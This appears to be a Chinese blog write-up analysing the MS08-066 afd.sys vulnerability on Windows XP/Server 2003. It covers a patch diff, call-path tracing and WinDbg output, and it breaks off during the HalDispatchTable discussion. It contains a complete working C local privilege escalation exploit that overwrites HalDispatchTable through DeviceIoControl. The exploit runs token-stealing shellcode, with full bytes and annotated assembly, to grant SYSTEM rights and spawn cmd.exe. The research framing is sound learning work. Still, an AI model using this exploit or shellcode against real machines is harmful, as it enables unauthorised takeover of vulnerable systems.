作者: xina1i
建立: 2025.10.29
更新: 2025.11.20
--------------------------------------------------------------------
目录:
☆ 前言
☆ 准备环境
☆ 补丁分析
☆ 代码分析
1) 伪码分析
2) 源码分析
☆ exploit分析
1) shellcode分析
2) 覆盖HalDispatchTable控制执行流
3) 优化shellcode代码
☆ 遇到的问题
--------------------------------------------------------------------
☆ 前言
分析该漏洞之前,想说一下分析这个漏洞的起因,主要是袁哥在weibo上发了一个帖子
https://weibo.com/6236276241/Q134jpdHH?pagetype=detail
他说的这个漏洞,我分析了很久都没有分析出来,原本想着参加袁哥的培训的,
但是感觉有点小贵(主要是穷),所以打算跟着袁哥的路径把afd涉及到的几个漏洞都分析一下
这个是系列的第一篇,接下来应该会有好几篇专门分析afd,希望能够通过分析这些漏洞
增长自己对于windows内核的认识,内核漏洞的认识、更加熟悉内核漏洞利用。
☆ 准备环境
影响操作系统
--------------------------------------------------------------------
Windows XP Service Pack 2 and Windows XP Service Pack 3
Windows XP Professional x64 Edition and Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition and Windows Server 2003 x64 Edition Service Pack 2
--------------------------------------------------------------------
根据影响的系统,配置测试环境:
--------------------------------------------------------------------
主机: windows 11
vmware虚拟机: windows server 2003 x64 english
--------------------------------------------------------------------
☆ 补丁分析
根据微软的ms08-066的描述:
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-066
其中更新KB956803能够解决该问题。
所以现在Windows Update Catalog网站搜索该更新信息,下载对应系统的更新程序,
因为当时windows还没有使用msu这种方式,会直接有一个exe程序,下载之后安装重启就可以完成更新
分析新老afd.sys,通过BinDiff分析发现,主要有两个函数发生了改变
--------------------------------------------------------------------
0.95 0.99 GI-J--- 00015AF9 AfdBind(x,x)
0.92 0.98 GI----- 000174C3 AfdGetRemoteAddress(x,x,x,x,x,x,x,x)
--------------------------------------------------------------------
分析发现AfdBind改变的有点多,优先分析AfdGetRemoteAddress
根据BinDiff的输出比较,可以发现有个赋值的地方被改变
原始没有漏洞的代码
--------------------------------------------------------------------
int __stdcall AfdGetRemoteAddress(
int a1,
int a2,
char a3,
int a4,
int a5,
volatile void *Address,
SIZE_T Length,
_DWORD *a8)
{
int v8; // ebx
SIZE_T v9; // eax
int v11; // [esp+10h] [ebp-20h]
int v12; // [esp+14h] [ebp-1Ch]
v8 = *(_DWORD *)(a1 + 12);
*a8 = 0;
v11 = AfdLockEndpointContext(v8);
if ( v11
&& *(_WORD *)v8 == 0xAFD2
&& *(_BYTE *)(v8 + 2) == 3
&& (v9 = *(unsigned __int16 *)(v8 + 90),
v9 + *(unsigned __int16 *)(v8 + 88) <= *(_DWORD *)(v8 + 116)) )
{
if ( Length < v9 )
{
v12 = 0x80000005;
}
else
{
Length = *(unsigned __int16 *)(v8 + 90);
v12 = 0;
}
if ( a3 )
ProbeForWrite(Address, Length, 1u);
qmemcpy((void *)Address,
(const void *)(v11 + *(unsigned __int16 *)(v8 + 88)),
*(unsigned __int16 *)(v8 + 90));
*a8 = *(_DWORD *)(v8 + 116);
}
else
{
v12 = -1073741504;
}
--------------------------------------------------------------------
修复后的代码
--------------------------------------------------------------------
int __stdcall AfdGetRemoteAddress(
int a1,
int a2,
char a3,
int a4,
int a5,
volatile void *Address,
unsigned int a7,
_DWORD *a8)
{
int v8; // ebx
SIZE_T v9; // eax
signed __int32 v11; // [esp+10h] [ebp-20h]
int v12; // [esp+14h] [ebp-1Ch]
v8 = *(_DWORD *)(a1 + 12);
*a8 = 0;
v11 = AfdLockEndpointContext(v8);
if ( v11
&& *(_WORD *)v8 == 0xAFD2
&& *(_BYTE *)(v8 + 2) == 3
&& (v9 = *(unsigned __int16 *)(v8 + 90),
v9 + *(unsigned __int16 *)(v8 + 88) <= *(_DWORD *)(v8 + 116)) )
{
if ( a7 < v9 )
{
v12 = -2147483643;
}
else
{
v12 = 0;
if ( a3 )
ProbeForWrite(Address, v9, 1u);
qmemcpy((void *)Address,
(const void *)(v11 + *(unsigned __int16 *)(v8 + 88)),
*(unsigned __int16 *)(v8 + 90));
*a8 = *(_DWORD *)(v8 + 116);
}
--------------------------------------------------------------------
经过对比可以发现,修复代码不再根据判断条件,修改ProbeForWrite的第二个参数的值
--------------------------------------------------------------------
if ( Length < v9 ) {
v12 = 0x80000005;
} else {
Length = *(unsigned __int16 *)(v8 + 90); <--- 根据判断条件修改参数值
v12 = 0;
}
if ( a7 < v9 )
{
v12 = -2147483643;
}
else
{
v12 = 0;
if ( a3 )
ProbeForWrite(Address, v9, 1u); <--- 中间不再修改
--------------------------------------------------------------------
所以根据上面的代码分析,结合ida给出的AfdGetRemoteAddress的代码
函数代码
--------------------------------------------------------------------
int __stdcall AfdGetRemoteAddress(
int a1,
int a2,
char a3,
int a4,
int a5,
volatile void *Address,
SIZE_T Length,
_DWORD *a8)
{
int v8; // ebx
SIZE_T v9; // eax
int v11; // [esp+10h] [ebp-20h]
int v12; // [esp+14h] [ebp-1Ch]
v8 = *(_DWORD *)(a1 + 12);
*a8 = 0;
v11 = AfdLockEndpointContext(v8);
if ( v11
&& *(_WORD *)v8 == 0xAFD2
&& *(_BYTE *)(v8 + 2) == 3
&& (v9 = *(unsigned __int16 *)(v8 + 90),
v9 + *(unsigned __int16 *)(v8 + 88) <= *(_DWORD *)(v8 + 116)) )
{
if ( Length < v9 )
{
v12 = 0x80000005;
} else { // 如果 Length > v9
Length = *(unsigned __int16 *)(v8 + 90);
v12 = 0;
}
if ( a3 )
ProbeForWrite(Address, Length, 1u);
qmemcpy((void *)Address,
(const void *)(v11 + *(unsigned __int16 *)(v8 + 88)),
*(unsigned __int16 *)(v8 + 90));
*a8 = *(_DWORD *)(v8 + 116);
}
else
{
v12 = -1073741504;
}
AfdUnlockEndpointContext(v8, v11);
return v12;
}
--------------------------------------------------------------------
分析其代码,考虑其中一种情况
Length < v9 成立,但是Length的值能够绕过ProbeForWrite(Address, Length, 1u),比如0
*(unsigned __int16 *)(v8 + 90)是一个用户控制的值,能够控制复制的内容范围
成功导致一个内存溢出的漏洞
☆ 代码分析
上面通过补丁分析,成功分析出存在一个内存溢出的漏洞。现在来分析具体调用AfdGetRemoteAccess
主要通过ida伪码和泄漏的windows源码分析
1) 伪码分析
来分析如何调用AfdGetRemoteAccess
其被_AfdImmediateCallDispatch调用
--------------------------------------------------------------------
.data:000142F0 _AfdImmediateCallDispatch dd 0 ; DATA XREF: AfdDispatchImmediateIrp(x,x)+12↑r
.data:000142F0 ; AfdFastIoDeviceControl(x,x,x,x,x,x,x,x,x)+3A0↓r
...
.data:00014328 dd offset _AfdSetInformation@32 ; AfdSetInformation(x,x,x,x,x,x,x,x)
.data:0001432C dd offset _AfdGetRemoteAddress@32 ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)
.data:00014330 dd offset _AfdGetContext@32 ; AfdGetContext(x,x,x,x,x,x,x,x)
.data:00014334 dd offset _AfdSetContext@32 ; AfdSetContext(x,x,x,x,x,x,x,x)
.data:00014338 dd offset _AfdSetConnectData@32 ; AfdSetConnectData(x,x,x,x,x,x,x,x)
.data:0001433C dd offset _AfdSetConnectData@32 ; AfdSetConnectData(x,x,x,x,x,x,x,x)
--------------------------------------------------------------------
其分别别两个函数调用
--------------------------------------------------------------------
AfdDispatchImmediateIrp
AfdFastIoDeviceControl
--------------------------------------------------------------------
其中AfdDispatchImmediateIrp被_AfdIrpCallDispatch调用
--------------------------------------------------------------------
.data:000141D8 _AfdIrpCallDispatch dd offset @AfdBind@8
.data:000141D8 ; DATA XREF: AfdDispatchDeviceControl(x,x)+37↓r ; AfdBind(x,x)
.data:000141DC dd offset @AfdConnect@8 ; AfdConnect(x,x)
.data:000141E0 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:000141E4 dd offset @AfdWaitForListen@8 ; AfdWaitForListen(x,x)
.data:000141E8 dd offset @AfdAccept@8 ; AfdAccept(x,x)
.data:000141EC dd offset @AfdReceive@8 ; AfdReceive(x,x)
.data:000141F0 dd offset @AfdReceiveDatagram@8 ; AfdReceiveDatagram(x,x)
.data:000141F4 dd offset @AfdSend@8 ; AfdSend(x,x)
.data:000141F8 dd offset @AfdSendDatagram@8 ; AfdSendDatagram(x,x)
.data:000141FC dd offset @AfdPoll@8 ; AfdPoll(x,x)
.data:00014200 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014204 dd offset @AfdGetAddress@8 ; AfdGetAddress(x,x)
.data:00014208 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:0001420C dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014210 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014214 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014218 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:0001421C dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014220 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:00014224 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
--------------------------------------------------------------------
其中_AfdIrpCallDispatch被AfdDispatchDeviceControl调用
路径是
--------------------------------------------------------------------
AfdDispatchDeviceControl
AfdIrpCallDispatch
AfdDispatchImmediateIrp
AfdImmediateCallDispatch
AfdGetRemoteAddress
--------------------------------------------------------------------
同样分析可以知道另一个调用路径
--------------------------------------------------------------------
AfdFastIoDeviceControl
AfdImmediateCallDispatch
AfdGetRemoteAddress
--------------------------------------------------------------------
继续跟踪分析,分析DriverEntry函数,分析其主要的事件处理函数
--------------------------------------------------------------------
memset32(DriverObject->MajorFunction, (int)AfdDispatch, 0x1Cu);
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)AfdDispatchDeviceControl;
DriverObject->MajorFunction[23] = (PDRIVER_DISPATCH)AfdEtwDispatch;
DriverObject->FastIoDispatch = (PFAST_IO_DISPATCH)&AfdFastIoDispatch;
--------------------------------------------------------------------
主要有三种:AfdDispatchDeviceControl、AfdEtwDispatch、AfdFastIoDispatch
AfdGetRemoteAddress使用了其中的两种
2) 源码分析
上面通过ida伪代码的方式分析了AfdGetRemoteAddress的调用路径,下面通过windows泄漏的源码
来分析具体的源码,从而知道如果我们想要调用该函数,应该怎么做
具体源码
--------------------------------------------------------------------
NTSTATUS
AfdGetRemoteAddress (
IN PFILE_OBJECT FileObject,
IN ULONG IoctlCode,
IN KPROCESSOR_MODE RequestorMode,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
IN PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT PULONG_PTR Information
)
{
PAFD_ENDPOINT endpoint;
PVOID context;
NTSTATUS status;
UNREFERENCED_PARAMETER (IoctlCode);
UNREFERENCED_PARAMETER (InputBuffer);
UNREFERENCED_PARAMETER (InputBufferLength);
PAGED_CODE( );
//
// Set up local pointers.
//
endpoint = FileObject->FsContext;
ASSERT( IS_AFD_ENDPOINT_TYPE( endpoint ) );
*Information = 0;
context = AfdLockEndpointContext (endpoint);
//
// If there is no context or endpoint is of wrong type state or
// context information has been changed below the original size,
// return error.
//
if ( context == NULL ||
endpoint->Type!=AfdBlockTypeVcConnecting ||
endpoint->State!= AfdEndpointStateConnected ||
((CLONG)(endpoint->Common.VcConnecting.RemoteSocketAddressOffset+
endpoint->Common.VcConnecting.RemoteSocketAddressLength)) >
endpoint->ContextLength
) {
status = STATUS_INVALID_CONNECTION;
} else {
if (OutputBufferLength<endpoint->Common.VcConnecting.RemoteSocketAddressLength) {
status = STATUS_BUFFER_OVERFLOW;
} else {
OutputBufferLength = endpoint->Common.VcConnecting.RemoteSocketAddressLength;
status = STATUS_SUCCESS;
}
try {
//
// Validate the output structure if it comes from the user mode
// application
//
if (RequestorMode != KernelMode ) {
ProbeForWrite (OutputBuffer,
OutputBufferLength,
sizeof (UCHAR));
}
//
// Copy parameters to application's memory
//
RtlCopyMemory(
OutputBuffer,
(PUCHAR)context+endpoint->Common.VcConnecting.RemoteSocketAddressOffset,
endpoint->Common.VcConnecting.RemoteSocketAddressLength
);
*Information = endpoint->ContextLength;
} except( AFD_EXCEPTION_FILTER (status) ) {
ASSERT (NT_ERROR (status));
}
}
AfdUnlockEndpointContext (endpoint, context);
return status;
} // AfdGetRemoteAddress
--------------------------------------------------------------------
根据源码,首先需要如下条件成立
--------------------------------------------------------------------
if (OutputBufferLength<endpoint->Common.VcConnecting.RemoteSocketAddressLength) {
status = STATUS_BUFFER_OVERFLOW;
}
--------------------------------------------------------------------
可以选择一个最简单的值:OutputBufferLength=0
其次执行
--------------------------------------------------------------------
RtlCopyMemory(
OutputBuffer,
(PUCHAR)context+endpoint->Common.VcConnecting.RemoteSocketAddressOffset,
endpoint->Common.VcConnecting.RemoteSocketAddressLength
);
--------------------------------------------------------------------
通过分析发现
context+endpoint->Common.VcConnecting.RemoteSocketAddressOffset:
struct sockaddr_in在AcceptEx接收缓存的偏移位置
endpoint->Common.VcConnecting.RemoteSocketAddressLength:
struct sockaddr_in的结构长度
分析一下struct sockaddr_in结构信息
--------------------------------------------------------------------
typedef struct sockaddr_in {
short sin_family; // 2 bytes
u_short sin_port; // 2 bytes
struct in_addr sin_addr; // 4 bytes
char sin_zero[8];// 8 bytes
} SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;
struct in_addr {
union {
struct {
u_char s_b1;
u_char s_b2;
u_char s_b3;
u_char s_b4;
} S_un_b;
struct {
u_short s_w1;
u_short s_w2;
} S_un_w;
u_long S_addr;
} S_un;
};
--------------------------------------------------------------------
根据分析可知,具体shellcode的信息需要放在该结构中,具体如何构造在exploit分析中再叙述
☆ exploit分析
exploit代码如下
--------------------------------------------------------------------
#include "stdafx.h"
#include <stdio.h>
#include <Winsock2.h>
#include <ntsecapi.h>
#pragma comment(lib, "ws2_32.lib")
#define AFD_GET_REMOTE_ADDRESS 0x1203f
// 用到的几个数据结构
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE,
*PKPROFILE_SOURCE;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructioEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegisterQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS(NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE,
PVOID *,
ULONG,
PULONG,
ULONG,
ULONG);
ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
void ErrorQuit(char *pMsg) {
printf("%sError Code:%d\n", pMsg, GetLastError());
ExitProcess(0);
}
void GetFunction() {
HMODULE hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if (hNtdll == NULL) {
ErrorQuit("LoadLibrary() failed.\n");
}
ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(
hNtdll,
"NtQueryIntervalProfile");
if (ZwQueryIntervalProfile == NULL) {
ErrorQuit("GetProcAddress() failed.\n");
}
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
hNtdll,
"ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL) {
ErrorQuit("GetProcessAddress() failed.\n");
}
ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(
hNtdll,
"ZwAllocateVirtualMemory");
if (ZwAllocateVirtualMemory == NULL) {
ErrorQuit("GetProcAddress() failed.\n");
}
FreeLibrary(hNtdll);
}
ULONG GetKernelBase(char *KernelName) {
ULONG i, Byte, ModuleCount, KernelBase;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;
ZwQuerySystemInformation(SystemModuleInformation,
(PVOID)&Byte,
0,
&Byte);
if ((pBuffer = malloc(Byte)) == NULL) {
ErrorQuit("malloc failed.\n");
}
if (ZwQuerySystemInformation(SystemModuleInformation,
pBuffer,
Byte,
&Byte)) {
ErrorQuit("ZwQuerySystemInformation failed\n");
}
ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation =
(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
// 枚举系统载入的所有模块,判断模块是否为nt,
// 如果是则返回其基址,从而获取到系统基址
for (i = 0; i < ModuleCount; i++) {
// 比较新的系统
if ((pName = strstr(pSystemModuleInformation->ImageName,
"ntoskrnl.exe")) != NULL) {
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s\n", pSystemModuleInformation->ImageName);
free(pBuffer);
strcpy(KernelName, "ntoskrnl.exe");
return KernelBase;
}
// windows server 2003系统
if ((pName = strstr(pSystemModuleInformation->ImageName,
"ntkrnlpa.exe")) != NULL) {
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s(0x%p)\n",
pSystemModuleInformation->ImageName,
KernelBase);
free(pBuffer);
strcpy(KernelName, "ntkrnlpa.exe");
return KernelBase;
}
pSystemModuleInformation++;
}
free(pBuffer);
return 0;
}
int main() {
WSADATA ws;
char inBuff[0x40];
ULONG junk, KernelBase, dwShellSize = 0x1000;
ULONG_PTR HalDispatchTable;
char KernelName[64];
OSVERSIONINFO ovi;
HMODULE hKernel;
LPVOID addr = (LPVOID)0x01000000;
SOCKET tcp_socket;
struct sockaddr_in peer;
KPROFILE_SOURCE ProfileSource;
ULONG_PTR result;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
WSAStartup(0x0202, &ws);
printf("[+] Get function address...");
GetFunction();
printf("OK!\n");
printf("[+] get kernel base...");
KernelBase = GetKernelBase(KernelName);
if (!KernelBase) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
// 判断OS版本
ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&ovi)) {
ErrorQuit("GetVersionEx() failed.\n");
}
if (ovi.dwMajorVersion != 5 && ovi.dwMinorVersion != 2) {
ErrorQuit("Not Windows 2003.\n");
}
printf("[+] load kernel library: %s...", KernelName);
hKernel = LoadLibrary(KernelName);
if (!hKernel) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");
HalDispatchTable += KernelBase - (ULONG)hKernel;
printf("[+] HalDispatchTable found \t\t\t [ 0x%p ]\n", HalDispatchTable);
// 分配内存
printf("[+] allocate memory at [0x%p]...", addr);
ZwAllocateVirtualMemory(INVALID_HANDLE_VALUE,
&addr, // 分配到固定地址
0,
&dwShellSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if ((ULONG_PTR)addr != 0x01000000) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
// 准备sc
memset(addr, 0x90, dwShellSize);
unsigned char shellcode[] = {
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x60, // pusha
0x9c, // pushf
0xb8, 0x24, 0xf1, 0xdf, 0xff, // mov eax,0xffdff124
0x8b, 0x00, // mov eax,DWORD PTR [eax]
0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov esi,DWORD PTR [eax+0x218]
0x89, 0xf0, // mov eax,esi
// <search2k3sp1>:
0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, // mov eax,DWORD PTR [eax+0x98]
0x2d, 0x98, 0x00, 0x00, 0x00, // sub eax,0x98
0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, // mov edx,DWORD PTR [eax+0x94]
0x83, 0xfa, 0x04, // cmp edx,0x4
0x75, 0xea, // jne 17 <search2k3sp1>
0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, // mov eax,DWORD PTR [eax+0xd8]
0x89, 0x86, 0xd8, 0x00, 0x00, 0x00, // mov DWORD PTR [esi+0xd8],eax
0x9d, // popf
0x61, // popa
0xc2, 0x10, 0x00 // ret 0x10
};
// 将shellcode复制到0x1000100及其后位置
memcpy((void*)((BYTE*)addr + 0x100),
(void*)shellcode,
sizeof(shellcode));
peer.sin_family = AF_INET;
peer.sin_port = htons(445);
// inet_addr("127.0.0.1");
peer.sin_addr.s_addr = 0x100007f;
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
if (connect(tcp_socket,
(struct sockaddr *)&peer,
sizeof(struct sockaddr))) {
ErrorQuit("connect failed.\n");
}
printf("[+] Overwriting HalDispatchTable with those bytes...\n");
printf("shellcode addr: %p\n", shellcode);
DeviceIoControl((HANDLE)tcp_socket,
AFD_GET_REMOTE_ADDRESS,
(LPVOID)inBuff,
sizeof(inBuff),
(LPVOID)HalDispatchTable,
0,
&junk,
NULL);
printf("\n\n");
printf("[+] Executing shellcode...");
ProfileSource = ProfileTotalIssues;
ZwQueryIntervalProfile(ProfileSource, &result);
printf("OK!\n");
printf("[+] Create a new process...");
GetStartupInfo(&stStartup);
CreateProcess(NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi);
printf("OK!\n");
return 0;
}
--------------------------------------------------------------------
在vs 2008编译上述代码时,可能会遇到字符集的问题,需要在项目属性中,
将项目的字符集设置为
Use Multi-Byte Character Set
这样就可以成功编译
1) shellcode分析
具体利用的shellcode代码如下
--------------------------------------------------------------------
pusha ; 保存所有通用寄存器 (eax, ecx, edx, ebx, esp, ebp, esi, edi)
pushf ; 保存标志寄存器 (EFLAGS)
; --- 定位当前进程的 EPROCESS 结构 ---
mov eax, 0xffdff124 ; 将 KPCR (Kernel Processor Control Region) 的地址加载到 EAX。
; 在 x86 架构的 Windows 内核中,FS:[0x124] 指向 KTHREAD 结构。
mov eax, dword ptr [eax] ; 解引用,EAX 现在指向当前线程的 KTHREAD 结构。
mov esi, dword ptr [eax + 0x218] ; 从 KTHREAD 结构偏移 0x218 处获取 ApcState.Process,
; 即当前进程的 EPROCESS 结构地址,并存入 ESI。
mov eax, esi ; 将当前进程的 EPROCESS 地址复制到 EAX,作为遍历起点。
; --- 遍历进程列表,查找 System 进程 (PID=4) ---
search_loop:
mov eax, dword ptr [eax + 0x98] ; 获取 EPROCESS 结构中偏移 0x98 处的 ActiveProcessLinks.Flink,
; 即链表中下一个进程的 EPROCESS 地址。
sub eax, 0x98 ; 从获取的 Flink 地址减去 0x98,得到下一个进程 EPROCESS 结构的基地址。
; (因为 ActiveProcessLinks 成员在 EPROCESS 结构中的偏移是 0x98)
mov edx, dword ptr [eax + 0x94] ; 获取当前遍历到的进程的 UniqueProcessId (进程ID),存入 EDX。
cmp edx, 0x4 ; 比较进程 ID 是否为 4 (System 进程的 PID)。
jne search_loop ; 如果不等于 4,则跳转回 search_loop 继续遍历下一个进程。
; --- 复制 System 进程的 Token 到当前进程 ---
; 此时 EAX 指向 System 进程的 EPROCESS 结构
mov eax, dword ptr [eax + 0xd8] ; 获取 System 进程的访问令牌 (Token),Token 在 EPROCESS 偏移 0xd8 处。
mov dword ptr [esi + 0xd8], eax ; 将获取到的 System 进程 Token 写入到当前进程的 EPROCESS 结构中
; (ESI 中保存着当前进程的 EPROCESS 地址)。
; --- 清理并返回 ---
popf ; 恢复标志寄存器
popa ; 恢复所有通用寄存器
ret 0x10 ; 从内核模式返回,并清理 0x10 字节的堆栈。
; 这个值对应于 ZwQueryIntervalProfile 函数的参数大小。
--------------------------------------------------------------------
0xFFDFF124的含义: 这个地址是KPCR内部的一个字段的地址。根据Windows XP/2003的内核结构定义:
KPCR的基地址是0xFFDFF000。
在KPCR结构中,偏移+0x120处是一个指向_KPRCB(内核处理器控制块)结构的指针,名为PrcbData。
在_KPRCB结构中,偏移+0x4处是一个指向当前在该处理器上执行线程的_KTHREAD结构的指针,名为CurrentThread。
因此,地址0xFFDFF124 (0xFFDFF000 + 0x120 + 0x4) 正是_KPRCB.CurrentThread字段的内存地址。
通过windbg的调试来确定上面的内容
--------------------------------------------------------------------
0: kd> !PCR
KPCR for Processor 0 at ffdff000:
Major 1 Minor 1
NtTib.ExceptionList: 80899e64
NtTib.StackBase: 00000000
NtTib.StackLimit: 00000000
NtTib.SubSystemTib: 80042000
NtTib.Version: 00004058
NtTib.UserPointer: 00000001
NtTib.SelfTib: 00000000
SelfPcr: ffdff000
Prcb: ffdff120
Irql: 0000001f
IRR: 00000000
IDR: ffffffff
InterruptMode: 00000000
IDT: 8003f400
GDT: 8003f000
TSS: 80042000
CurrentThread: 8089d8c0
NextThread: 00000000
IdleThread: 8089d8c0
DpcQueue:
0: kd> dt _KPCR
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
...
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
0: kd> dt _KPRCB
nt!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
+0x010 Number : Char
+0x011 Reserved : Char
+0x012 BuildType : Uint2B
...
--------------------------------------------------------------------
通过上面的分析可以确定0xFFDFF124为_KTHREAD
2) 覆盖HalDispatchTable控制执行流
HalDispatchTable(Hardware Abstraction Layer Dispatch Table)是Windows内核中的一个全局数据结构。
它本质上是一个函数指针数组,是内核与硬件抽象层(HAL)之间的主要接口。
内核通过调用此表中的函数来执行与具体硬件平台相关的操作,例如查询系统信息、管理中断控制器(APIC)等。
使用盖HalDispatchTable控制执行流原因:
地址可知:
一旦通过信息泄露手段(如本代码中的ZwQuerySystemInformation)获得了内核基地址,
就可以通过符号偏移精确计算出它在内存中的地址。
包含可触发的函数指针:
表中的某些函数指针可以通过调用常规的、用户态可达的Windows API或Native API来间接触发。
其中,位于HalDispatchTable+0x4的HalQuerySystemInformation函数指针就是一个绝佳的目标。
高权限执行:
当内核通过此表调用函数时,CPU已经处于Ring 0(内核态)。
因此,如果能将表中的一个函数指针覆写为我们shellcode的地址,那么当该函数被调用时,
我们的shellcode将直接在最高权限级别下执行。
其结构如下
--------------------------------------------------------------------
0: kd> dps nt!HalDispatchTable
80894078 00000003
8089407c 80a75a1e hal!HaliQuerySystemInformation
80894080 80a779f4 hal!HalpSetSystemInformation
80894084 808e7028 nt!xHalQueryBusSlots
80894088 00000000
8089408c 8081a784 nt!HalExamineMBR
80894090 808e61d2 nt!IoAssignDriveLetters
80894094 808e6a68 nt!IoReadPartitionTable
80894098 808e5568 nt!IoSetPartitionInformation
8089409c 808e57d0 nt!IoWritePartitionTable
808940a0 8080d592 nt!CcHasInactiveViews
808940a4 80865c60 nt!MiInitializePfnTracing
808940a8 80865c60 nt!MiInitializePfnTracing
808940ac 80a76d04 hal!HaliInitPnpDriver
808940b0 80a77894 hal!HaliInitPowerManagement
808940b4 80a5ae06 hal!HaliGetDmaAdapter
808940b8 80a772fe hal!HalacpiGetInterruptTranslator
808940bc 808e7044 nt!xHalStartMirroring
808940c0 8081ab62 nt!xHalEndMirroring
808940c4 8081ab70 nt!xHalMirrorVerify
808940c8 80a779ea hal!HalpEndOfBoot
808940cc 8081ab70 nt!xHalMirrorVerify
808940d0 00000002
808940d4 8080d592 nt!CcHasInactiveViews
808940d8 8080d592 nt!CcHasInactiveViews
